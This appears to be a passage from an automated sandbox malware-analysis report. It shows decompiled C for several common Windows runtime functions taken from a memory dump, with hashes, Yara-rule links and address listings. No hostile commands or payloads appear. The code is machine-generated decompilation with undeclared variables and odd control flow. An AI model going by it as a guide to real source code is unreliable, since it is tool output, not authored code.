Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fc2ebe4ec58402aaa0ed3626a91b830c2ea286a7f21965a552d20983bb13138
Instruction ID: 44456e15b8a9ecdda6b2b15325d73f5044874d5144ac43f2f47cd6a84e278ee8
Opcode Fuzzy Hash: 2fc2ebe4ec58402aaa0ed3626a91b830c2ea286a7f21965a552d20983bb13138
Instruction Fuzzy Hash: F1219C75A00644AFC716DF69D880F6AB7B8FF48740F54006AF908DB792D638ED11CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 034190AF, Relevance: .1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E034190AF(intOrPtr __ecx, void* __edx, intOrPtr* _a4) {
				intOrPtr* _v0;
				void* _v8;
				signed int _v12;
				intOrPtr _v16;
				char _v36;
				void* _t38;
				intOrPtr _t41;
				void* _t44;
				signed int _t45;
				intOrPtr* _t49;
				signed int _t57;
				signed int _t58;
				intOrPtr* _t59;
				void* _t62;
				void* _t63;
				void* _t65;
				void* _t66;
				signed int _t69;
				intOrPtr* _t70;
				void* _t71;
				intOrPtr* _t72;
				intOrPtr* _t73;
				char _t74;

				_t65 = __edx;
				_t57 = _a4;
				_t32 = __ecx;
				_v8 = __edx;
				_t3 = _t32 + 0x14c; // 0x14c
				_t70 = _t3;
				_v16 = __ecx;
				_t72 =  *_t70;
				while(_t72 != _t70) {
					if( *((intOrPtr*)(_t72 + 0xc)) != _t57) {
						L24:
						_t72 =  *_t72;
						continue;
					}
					_t30 = _t72 + 0x10; // 0x10
					if(E0342D4F0(_t30, _t65, _t57) == _t57) {
						return 0xb7;
					}
					_t65 = _v8;
					goto L24;
				}
				_t61 = _t57;
				_push( &_v12);
				_t66 = 0x10;
				if(E0340E5E0(_t57, _t66) < 0) {
					return 0x216;
				}
				_t73 = L033F4620(_t61,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, _v12);
				if(_t73 == 0) {
					_t38 = 0xe;
					return _t38;
				}
				_t9 = _t73 + 0x10; // 0x10
				 *((intOrPtr*)(_t73 + 0xc)) = _t57;
				E0341F3E0(_t9, _v8, _t57);
				_t41 =  *_t70;
				if( *((intOrPtr*)(_t41 + 4)) != _t70) {
					_t62 = 3;
					asm("int 0x29");
					_push(_t62);
					_push(_t57);
					_push(_t73);
					_push(_t70);
					_t71 = _t62;
					_t74 = 0;
					_v36 = 0;
					_t63 = E0340A2F0(_t62, _t71, 1, 6,  &_v36);
					if(_t63 == 0) {
						L20:
						_t44 = 0x57;
						return _t44;
					}
					_t45 = _v12;
					_t58 = 0x1c;
					if(_t45 < _t58) {
						goto L20;
					}
					_t69 = _t45 / _t58;
					if(_t69 == 0) {
						L19:
						return 0xe8;
					}
					_t59 = _v0;
					do {
						if( *((intOrPtr*)(_t63 + 0xc)) != 2) {
							goto L18;
						}
						_t49 =  *((intOrPtr*)(_t63 + 0x14)) + _t71;
						 *_t59 = _t49;
						if( *_t49 != 0x53445352) {
							goto L18;
						}
						 *_a4 =  *((intOrPtr*)(_t63 + 0x10));
						return 0;
						L18:
						_t63 = _t63 + 0x1c;
						_t74 = _t74 + 1;
					} while (_t74 < _t69);
					goto L19;
				}
				 *_t73 = _t41;
				 *((intOrPtr*)(_t73 + 4)) = _t70;
				 *((intOrPtr*)(_t41 + 4)) = _t73;
				 *_t70 = _t73;
				 *(_v16 + 0xdc) =  *(_v16 + 0xdc) | 0x00000010;
				return 0;
			}

0x034190af
0x034190b8
0x034190bb
0x034190bf
0x034190c2
0x034190c2
0x034190c8
0x034190cb
0x034190cd
0x034514d7
0x034514eb
0x034514eb
0x00000000
0x034514eb
0x034514db
0x034514e6
0x00000000
0x034514f2
0x034514e8
0x00000000
0x034514e8
0x034190d8
0x034190da
0x034190dd
0x034190e5
0x00000000
0x03419139
0x034190fa
0x034190fe
0x03419142
0x00000000
0x03419142
0x03419104
0x03419107
0x0341910b
0x03419110
0x03419118
0x03419147
0x03419148
0x0341914f
0x03419150
0x03419151
0x03419152
0x03419156
0x0341915d
0x03419160
0x03419168
0x0341916c
0x034191bc
0x034191be
0x00000000
0x034191be
0x0341916e
0x03419173
0x03419176
0x00000000
0x00000000
0x0341917c
0x03419180
0x034191b5
0x00000000
0x034191b5
0x03419182
0x03419185
0x03419189
0x00000000
0x00000000
0x0341918e
0x03419190
0x03419198
0x00000000
0x00000000
0x034191a0
0x00000000
0x034191ad
0x034191ad
0x034191b0
0x034191b1
0x00000000
0x03419185
0x0341911a
0x0341911c
0x0341911f
0x03419125
0x03419127
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction ID: 965f6355e632877dd66e58703cb8890b91ff1597734360ed80fef4ad44eefe3c
Opcode Fuzzy Hash: 6bfd702525c1db8ef159ef8001ebf0bb6a8fccc454e16ed8d2a19b71faa45fc1
Instruction Fuzzy Hash: F7217F75A00704EFEB20DF59C984A6AFBF8EB44310F14886BE999AF340D370AD55CB94

Uniqueness

Uniqueness Score: -1.00%

Function 03403B7A, Relevance: .1, Instructions: 75
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E03403B7A(void* __ecx) {
				signed int _v8;
				char _v12;
				intOrPtr _v20;
				intOrPtr _t17;
				intOrPtr _t26;
				void* _t35;
				void* _t38;
				void* _t41;
				intOrPtr _t44;

				_t17 =  *0x34c84c4; // 0x0
				_v12 = 1;
				_v8 =  *0x34c84c0 * 0x4c;
				_t41 = __ecx;
				_t35 = L033F4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t17 + 0x000c0000 | 0x00000008,  *0x34c84c0 * 0x4c);
				if(_t35 == 0) {
					_t44 = 0xc0000017;
				} else {
					_push( &_v8);
					_push(_v8);
					_push(_t35);
					_push(4);
					_push( &_v12);
					_push(0x6b);
					_t44 = E0341AA90();
					_v20 = _t44;
					if(_t44 >= 0) {
						E0341FA60( *((intOrPtr*)(_t41 + 0x20)), 0,  *0x34c84c0 * 0xc);
						_t38 = _t35;
						if(_t35 < _v8 + _t35) {
							do {
								asm("movsd");
								asm("movsd");
								asm("movsd");
								_t38 = _t38 +  *((intOrPtr*)(_t38 + 4));
							} while (_t38 < _v8 + _t35);
							_t44 = _v20;
						}
					}
					_t26 =  *0x34c84c4; // 0x0
					L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t26 + 0xc0000, _t35);
				}
				return _t44;
			}

0x03403b89
0x03403b96
0x03403ba1
0x03403bab
0x03403bb5
0x03403bb9
0x03446298
0x03403bbf
0x03403bc2
0x03403bc3
0x03403bc9
0x03403bca
0x03403bcc
0x03403bcd
0x03403bd4
0x03403bd6
0x03403bdb
0x03403bea
0x03403bf7
0x03403bfb
0x03403bff
0x03403c09
0x03403c0a
0x03403c0b
0x03403c0f
0x03403c14
0x03403c18
0x03403c18
0x03403bfb
0x03403c1b
0x03403c30
0x03403c30
0x03403c3d

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4304525d0b8785fd870babd318da0590386fc685dcf6647125ce65172013d06
Instruction ID: 2ff0ca54a391ae7f11875b5744453782d557174bc8d63337aa64b879dc15d0f8
Opcode Fuzzy Hash: a4304525d0b8785fd870babd318da0590386fc685dcf6647125ce65172013d06
Instruction Fuzzy Hash: 9A218E72B00208AFC700DF98CD81BAABBBDFB44748F150169EA08AF251D375ED158B98

Uniqueness

Uniqueness Score: -1.00%

Function 03456CF0, Relevance: .1, Instructions: 74
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E03456CF0(void* __edx, intOrPtr _a4, short _a8) {
				char _v8;
				char _v12;
				char _v16;
				char _v20;
				char _v28;
				char _v36;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed char* _t21;
				void* _t24;
				void* _t36;
				void* _t38;
				void* _t46;

				_push(_t36);
				_t46 = __edx;
				_v12 = 0;
				_v8 = 0;
				_v20 = 0;
				_v16 = 0;
				if(E033F7D50() == 0) {
					_t21 = 0x7ffe0384;
				} else {
					_t21 = ( *[fs:0x30])[0x50] + 0x22a;
				}
				if( *_t21 != 0) {
					_t21 =  *[fs:0x30];
					if((_t21[0x240] & 0x00000004) != 0) {
						if(E033F7D50() == 0) {
							_t21 = 0x7ffe0385;
						} else {
							_t21 = ( *[fs:0x30])[0x50] + 0x22b;
						}
						if(( *_t21 & 0x00000020) != 0) {
							_t56 = _t46;
							if(_t46 == 0) {
								_t46 = 0x33b5c80;
							}
							_push(_t46);
							_push( &_v12);
							_t24 = E0340F6E0(_t36, 0, _t46, _t56);
							_push(_a4);
							_t38 = _t24;
							_push( &_v28);
							_t21 = E0340F6E0(_t38, 0, _t46, _t56);
							if(_t38 != 0) {
								if(_t21 != 0) {
									E03457016(_a8, 0, 0, 0,  &_v36,  &_v28);
									L033F2400( &_v52);
								}
								_t21 = L033F2400( &_v28);
							}
						}
					}
				}
				return _t21;
			}

0x03456cfb
0x03456d00
0x03456d02
0x03456d06
0x03456d0a
0x03456d0e
0x03456d19
0x03456d2b
0x03456d1b
0x03456d24
0x03456d24
0x03456d33
0x03456d39
0x03456d46
0x03456d4f
0x03456d61
0x03456d51
0x03456d5a
0x03456d5a
0x03456d69
0x03456d6b
0x03456d6d
0x03456d6f
0x03456d6f
0x03456d74
0x03456d79
0x03456d7a
0x03456d7f
0x03456d82
0x03456d88
0x03456d89
0x03456d90
0x03456d94
0x03456da7
0x03456db1
0x03456db1
0x03456dbb
0x03456dbb
0x03456d90
0x03456d69
0x03456d46
0x03456dc6

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 047c9e1f396d747ece8c68469171d59a2978f60dbd9006b5525f56fc3ec97171
Instruction ID: 935eb5b8874ba70196d31da090daf52dd5232d3b3ef99767cd978e1d3311dd23
Opcode Fuzzy Hash: 047c9e1f396d747ece8c68469171d59a2978f60dbd9006b5525f56fc3ec97171
Instruction Fuzzy Hash: 4521D0729007449FD721DF29C944B6BB7ECAF81680F49096BBD40DF262E738C90DC6A6

Uniqueness

Uniqueness Score: -1.00%

Function 034A070D, Relevance: .1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E034A070D(signed int* __ecx, signed int __edx, void* __eflags, signed int _a4, signed int _a8) {
				char _v8;
				intOrPtr _v11;
				signed int _v12;
				intOrPtr _v15;
				signed int _v16;
				intOrPtr _v28;
				void* __ebx;
				char* _t32;
				signed int* _t38;
				signed int _t60;

				_t38 = __ecx;
				_v16 = __edx;
				_t60 = E034A07DF(__ecx, __edx,  &_a4,  &_a8, 2);
				if(_t60 != 0) {
					_t7 = _t38 + 0x38; // 0x29cd5903
					_push( *_t7);
					_t9 = _t38 + 0x34; // 0x6adeeb00
					_push( *_t9);
					_v12 = _a8 << 0xc;
					_t11 = _t38 + 4; // 0x5de58b5b
					_push(0x4000);
					_v8 = (_a4 << 0xc) + (_v16 - ( *__ecx & _v16) >> 4 <<  *_t11) + ( *__ecx & _v16);
					E0349AFDE( &_v8,  &_v12);
					E034A1293(_t38, _v28, _t60);
					if(E033F7D50() == 0) {
						_t32 = 0x7ffe0380;
					} else {
						_t32 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x226;
					}
					if( *_t32 != 0 && ( *( *[fs:0x30] + 0x240) & 0x00000001) != 0) {
						_t21 = _t38 + 0x3c; // 0xc3595e5f
						E034914FB(_t38,  *_t21, _v11, _v15, 0xd);
					}
				}
				return  ~_t60;
			}

0x034a071b
0x034a0724
0x034a0734
0x034a0738
0x034a074b
0x034a074b
0x034a0753
0x034a0753
0x034a0759
0x034a075d
0x034a0774
0x034a0779
0x034a077d
0x034a0789
0x034a0795
0x034a07a7
0x034a0797
0x034a07a0
0x034a07a0
0x034a07af
0x034a07c4
0x034a07cd
0x034a07cd
0x034a07af
0x034a07dc

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction ID: 1cc5561878172fd6726738a677e5d36938ae194bd2940e1a0f66963c249e6f19
Opcode Fuzzy Hash: 16b9495bd7cfc8dc207f06a58ad33f13931981def28ffdf8d69df6cf9eebd83e
Instruction Fuzzy Hash: B421D03A2046009FD715DF1CC880A6ABBA5EFD4250F08856EF9959F385D630D909CB95

Uniqueness

Uniqueness Score: -1.00%

Function 03457794, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E03457794(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4, unsigned int _a8, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _t21;
				void* _t24;
				intOrPtr _t25;
				void* _t36;
				short _t39;
				signed char* _t42;
				unsigned int _t46;
				void* _t50;

				_push(__ecx);
				_push(__ecx);
				_t21 =  *0x34c7b9c; // 0x0
				_t46 = _a8;
				_v12 = __edx;
				_v8 = __ecx;
				_t4 = _t46 + 0x2e; // 0x2e
				_t36 = _t4;
				_t24 = L033F4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), _t21 + 0x180000, _t36);
				_t50 = _t24;
				if(_t50 != 0) {
					_t25 = _a4;
					if(_t25 == 5) {
						L3:
						_t39 = 0x14b1;
					} else {
						_t39 = 0x14b0;
						if(_t25 == 6) {
							goto L3;
						}
					}
					 *((short*)(_t50 + 6)) = _t39;
					 *((intOrPtr*)(_t50 + 0x28)) = _t25;
					_t11 = _t50 + 0x2c; // 0x2c
					 *((intOrPtr*)(_t50 + 0x20)) = _v8;
					 *((intOrPtr*)(_t50 + 0x24)) = _v12;
					E0341F3E0(_t11, _a12, _t46);
					 *((short*)(_t50 + 0x2c + (_t46 >> 1) * 2)) = 0;
					if(E033F7D50() == 0) {
						_t42 = 0x7ffe0384;
					} else {
						_t42 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
					}
					_push(_t50);
					_t19 = _t36 - 0x20; // 0xe
					_push(0x403);
					_push( *_t42 & 0x000000ff);
					E03419AE0();
					_t24 = L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t50);
				}
				return _t24;
			}

0x03457799
0x0345779a
0x0345779b
0x034577a3
0x034577ab
0x034577ae
0x034577b1
0x034577b1
0x034577bf
0x034577c4
0x034577c8
0x034577ce
0x034577d4
0x034577e0
0x034577e0
0x034577d6
0x034577d6
0x034577de
0x00000000
0x00000000
0x034577de
0x034577e5
0x034577f0
0x034577f3
0x034577f6
0x034577fd
0x03457800
0x0345780c
0x03457818
0x0345782b
0x0345781a
0x03457823
0x03457823
0x03457830
0x03457831
0x03457838
0x0345783d
0x0345783e
0x0345784f
0x0345784f
0x0345785a

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f039153ffa7f2158b31a05edcc1d3ec87ee17c7dbacdee065e9e995ea7613f99
Instruction ID: f20909f6ef07a94c3bc2090c00e642235ae23dbf0957de8f326cc60f90986663
Opcode Fuzzy Hash: f039153ffa7f2158b31a05edcc1d3ec87ee17c7dbacdee065e9e995ea7613f99
Instruction Fuzzy Hash: 7D21C376900604AFC725DF69DC90E6BBBB8EF48340F14056EFA0ADB751D634E900CB98

Uniqueness

Uniqueness Score: -1.00%

Function 033FAE73, Relevance: .1, Instructions: 70
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E033FAE73(intOrPtr __ecx, void* __edx) {
				intOrPtr _v8;
				void* _t19;
				char* _t22;
				signed char* _t24;
				intOrPtr _t25;
				intOrPtr _t27;
				void* _t31;
				intOrPtr _t36;
				char* _t38;
				signed char* _t42;

				_push(__ecx);
				_t31 = __edx;
				_v8 = __ecx;
				_t19 = E033F7D50();
				_t38 = 0x7ffe0384;
				if(_t19 != 0) {
					_t22 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22a;
				} else {
					_t22 = 0x7ffe0384;
				}
				_t42 = 0x7ffe0385;
				if( *_t22 != 0) {
					if(E033F7D50() == 0) {
						_t24 = 0x7ffe0385;
					} else {
						_t24 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22b;
					}
					if(( *_t24 & 0x00000010) != 0) {
						goto L17;
					} else {
						goto L3;
					}
				} else {
					L3:
					_t27 = E033F7D50();
					if(_t27 != 0) {
						_t27 =  *[fs:0x30];
						_t38 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22a;
					}
					if( *_t38 != 0) {
						_t27 =  *[fs:0x30];
						if(( *(_t27 + 0x240) & 0x00000004) == 0) {
							goto L5;
						}
						_t27 = E033F7D50();
						if(_t27 != 0) {
							_t27 =  *[fs:0x30];
							_t42 =  *((intOrPtr*)(_t27 + 0x50)) + 0x22b;
						}
						if(( *_t42 & 0x00000020) != 0) {
							L17:
							_t25 = _v8;
							_t36 = 0;
							if(_t25 != 0) {
								_t36 =  *((intOrPtr*)(_t25 + 0x18));
							}
							_t27 = E03457794( *((intOrPtr*)(_t31 + 0x18)), _t36,  *((intOrPtr*)(_t31 + 0x94)),  *(_t31 + 0x24) & 0x0000ffff,  *((intOrPtr*)(_t31 + 0x28)));
						}
						goto L5;
					} else {
						L5:
						return _t27;
					}
				}
			}

0x033fae78
0x033fae7c
0x033fae7e
0x033fae81
0x033fae86
0x033fae8d
0x03442691
0x033fae93
0x033fae93
0x033fae93
0x033fae98
0x033fae9d
0x034426a2
0x034426b4
0x034426a4
0x034426ad
0x034426ad
0x034426b9
0x00000000
0x034426bb
0x00000000
0x034426bb
0x033faea3
0x033faea3
0x033faea3
0x033faeaa
0x034426c0
0x034426c9
0x034426c9
0x033faeb3
0x034426d4
0x034426e1
0x00000000
0x00000000
0x034426e7
0x034426ee
0x034426f0
0x034426f9
0x034426f9
0x03442702
0x03442708
0x03442708
0x0344270b
0x0344270f
0x03442711
0x03442711
0x03442725
0x03442725
0x00000000
0x033faeb9
0x033faeb9
0x033faebf
0x033faebf
0x033faeb3

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction ID: b3f6dbed0ac0eff1bdac815f116441d2455042a2d25d4df32a3f19537d7bdc59
Opcode Fuzzy Hash: 892ffc7d7f960dfab719e72e37e7183e7cc58ff0f898e4f283d94cb5f6144d78
Instruction Fuzzy Hash: A321B035A016809FE715DB69C984B2677E8AF44284F4D04B1EE088F7A2D7B4DC40CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0340FD9B, Relevance: .1, Instructions: 69
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E0340FD9B(intOrPtr __ecx, intOrPtr __edx, intOrPtr _a4) {
				intOrPtr _v8;
				void* _t19;
				intOrPtr _t29;
				intOrPtr _t32;
				intOrPtr _t35;
				intOrPtr _t37;
				intOrPtr* _t40;

				_t35 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t37 = 0;
				_v8 = __edx;
				_t29 = __ecx;
				if( *((intOrPtr*)( *[fs:0x18] + 0xfbc)) != 0) {
					_t40 =  *((intOrPtr*)( *[fs:0x18] + 0xfbc));
					L3:
					_t19 = _a4 - 4;
					if(_t19 != 0) {
						if(_t19 != 1) {
							L7:
							return _t37;
						}
						if(_t35 == 0) {
							L11:
							_t37 = 0xc000000d;
							goto L7;
						}
						if( *((intOrPtr*)(_t40 + 4)) != _t37) {
							L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37,  *((intOrPtr*)(_t40 + 4)));
							_t35 = _v8;
						}
						 *((intOrPtr*)(_t40 + 4)) = _t35;
						goto L7;
					}
					if(_t29 == 0) {
						goto L11;
					}
					_t32 =  *_t40;
					if(_t32 != 0) {
						 *((intOrPtr*)(_t29 + 0x20)) =  *((intOrPtr*)(_t32 + 0x20));
						E033E76E2( *_t40);
					}
					 *_t40 = _t29;
					goto L7;
				}
				_t40 = L033F4620(__ecx,  *((intOrPtr*)( *[fs:0x30] + 0x18)), 8, 8);
				if(_t40 == 0) {
					_t37 = 0xc0000017;
					goto L7;
				}
				_t35 = _v8;
				 *_t40 = 0;
				 *((intOrPtr*)(_t40 + 4)) = 0;
				 *((intOrPtr*)( *[fs:0x18] + 0xfbc)) = _t40;
				goto L3;
			}

0x0340fd9b
0x0340fda0
0x0340fda1
0x0340fdab
0x0340fdad
0x0340fdb0
0x0340fdb8
0x0340fe0f
0x0340fde6
0x0340fde9
0x0340fdec
0x0344c0c0
0x0340fdfe
0x0340fe06
0x0340fe06
0x0344c0c8
0x0340fe2d
0x0340fe2d
0x00000000
0x0340fe2d
0x0344c0d1
0x0344c0e0
0x0344c0e5
0x0344c0e5
0x0344c0e8
0x00000000
0x0344c0e8
0x0340fdf4
0x00000000
0x00000000
0x0340fdf6
0x0340fdfa
0x0340fe1a
0x0340fe1f
0x0340fe1f
0x0340fdfc
0x00000000
0x0340fdfc
0x0340fdcc
0x0340fdd0
0x0340fe26
0x00000000
0x0340fe26
0x0340fdd8
0x0340fddb
0x0340fddd
0x0340fde0
0x00000000

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction ID: a7ec7157072103d33fc0a2a5ac99a09a00d822a7e420402cab3bbca4ade163f4
Opcode Fuzzy Hash: bea69b06ccd41e2ab95b3552422c6337f6d423ba3d9b45e75fab26429da45353
Instruction Fuzzy Hash: 35217C72A00640DFD731CF49C580A66F7E5EB94A10F28817EE9568B761D730AD09DB84

Uniqueness

Uniqueness Score: -1.00%

Function 0340B390, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E0340B390(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed char _t12;
				signed int _t16;
				signed int _t21;
				void* _t28;
				signed int _t30;
				signed int _t36;
				signed int _t41;

				_push(__ecx);
				_t41 = _a4 + 0xffffffb8;
				E033F2280(_t12, 0x34c8608);
				 *(_t41 + 0x34) =  *(_t41 + 0x34) - 1;
				asm("sbb edi, edi");
				_t36 =  !( ~( *(_t41 + 0x34))) & _t41;
				_v8 = _t36;
				asm("lock cmpxchg [ebx], ecx");
				_t30 = 1;
				if(1 != 1) {
					while(1) {
						_t21 = _t30 & 0x00000006;
						_t16 = _t30;
						_t28 = (0 | _t21 == 0x00000002) * 4 - 1 + _t30;
						asm("lock cmpxchg [edi], esi");
						if(_t16 == _t30) {
							break;
						}
						_t30 = _t16;
					}
					_t36 = _v8;
					if(_t21 == 2) {
						_t16 = E034100C2(0x34c8608, 0, _t28);
					}
				}
				if(_t36 != 0) {
					_t16 = L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), 0, _t36);
				}
				return _t16;
			}

0x0340b395
0x0340b3a2
0x0340b3a5
0x0340b3aa
0x0340b3b2
0x0340b3ba
0x0340b3bd
0x0340b3c0
0x0340b3c4
0x0340b3c9
0x0344a3e9
0x0344a3ed
0x0344a3f0
0x0344a3ff
0x0344a403
0x0344a409
0x00000000
0x00000000
0x0344a40b
0x0344a40b
0x0344a40f
0x0344a415
0x0344a423
0x0344a423
0x0344a415
0x0340b3d1
0x0340b3e8
0x0340b3e8
0x0340b3d9

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d10130aec3ebbad7ceec1d8bfc1477821314270b0a3175dc6320482bfa498fdc
Instruction ID: 6040c072a1d395b01923f07f7d660ddd2cc5822affa69feb0714f2c575b3900d
Opcode Fuzzy Hash: d10130aec3ebbad7ceec1d8bfc1477821314270b0a3175dc6320482bfa498fdc
Instruction Fuzzy Hash: 7311253A7152249FCB19CA259D81A6B725AEBC5230B28417FDD26CF3D0DA31AC02C69C

Uniqueness

Uniqueness Score: -1.00%

Function 033D9240, Relevance: .1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E033D9240(void* __ebx, intOrPtr __ecx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t33;
				intOrPtr _t37;
				intOrPtr _t41;
				intOrPtr* _t46;
				void* _t48;
				intOrPtr _t50;
				intOrPtr* _t60;
				void* _t61;
				intOrPtr _t62;
				intOrPtr _t65;
				void* _t66;
				void* _t68;

				_push(0xc);
				_push(0x34af708);
				E0342D08C(__ebx, __edi, __esi);
				_t65 = __ecx;
				 *((intOrPtr*)(_t68 - 0x1c)) = __ecx;
				if( *(__ecx + 0x24) != 0) {
					_push( *(__ecx + 0x24));
					E034195D0();
					 *(__ecx + 0x24) =  *(__ecx + 0x24) & 0x00000000;
				}
				L6();
				L6();
				_push( *((intOrPtr*)(_t65 + 0x28)));
				E034195D0();
				_t33 =  *0x34c84c4; // 0x0
				L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t33 + 0xc0000,  *((intOrPtr*)(_t65 + 0x10)));
				_t37 =  *0x34c84c4; // 0x0
				L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t37 + 0xc0000,  *((intOrPtr*)(_t65 + 0x1c)));
				_t41 =  *0x34c84c4; // 0x0
				E033F2280(L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t41 + 0xc0000,  *((intOrPtr*)(_t65 + 0x20))), 0x34c86b4);
				 *(_t68 - 4) =  *(_t68 - 4) & 0x00000000;
				_t46 = _t65 + 0xe8;
				_t62 =  *_t46;
				_t60 =  *((intOrPtr*)(_t46 + 4));
				if( *((intOrPtr*)(_t62 + 4)) != _t46 ||  *_t60 != _t46) {
					_t61 = 3;
					asm("int 0x29");
					_push(_t65);
					_t66 = _t61;
					_t23 = _t66 + 0x14; // 0x8df8084c
					_push( *_t23);
					E034195D0();
					_t24 = _t66 + 0x10; // 0x89e04d8b
					_push( *_t24);
					 *(_t66 + 0x38) =  *(_t66 + 0x38) & 0x00000000;
					_t48 = E034195D0();
					 *(_t66 + 0x14) =  *(_t66 + 0x14) & 0x00000000;
					 *(_t66 + 0x10) =  *(_t66 + 0x10) & 0x00000000;
					return _t48;
				} else {
					 *_t60 = _t62;
					 *((intOrPtr*)(_t62 + 4)) = _t60;
					 *(_t68 - 4) = 0xfffffffe;
					E033D9325();
					_t50 =  *0x34c84c4; // 0x0
					return E0342D0D1(L033F77F0( *((intOrPtr*)( *[fs:0x30] + 0x18)), _t50 + 0xc0000, _t65));
				}
			}

0x033d9240
0x033d9242
0x033d9247
0x033d924c
0x033d924e
0x033d9255
0x033d9257
0x033d925a
0x033d925f
0x033d925f
0x033d9266
0x033d9271
0x033d9276
0x033d9279
0x033d927e
0x033d9295
0x033d929a
0x033d92b1
0x033d92b6
0x033d92d7
0x033d92dc
0x033d92e0
0x033d92e6
0x033d92e8
0x033d92ee
0x033d9332
0x033d9333
0x033d9337
0x033d9338
0x033d933a
0x033d933a
0x033d933d
0x033d9342
0x033d9342
0x033d9345
0x033d9349
0x033d934e
0x033d9352
0x033d9357
0x033d92f4
0x033d92f4
0x033d92f6
0x033d92f9
0x033d9300
0x033d9306
0x033d9324
0x033d9324

Memory Dump Source

Source File: 0000000A.00000002.946885748.00000000033B0000.00000040.00000001.sdmp, Offset: 033B0000, based on PE: true

Associated: 0000000A.00000002.947097709.00000000034CB000.00000040.00000001.sdmp Download File
Associated: 0000000A.00000002.947117208.00000000034CF000.00000040.00000001.sdmp Download File

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
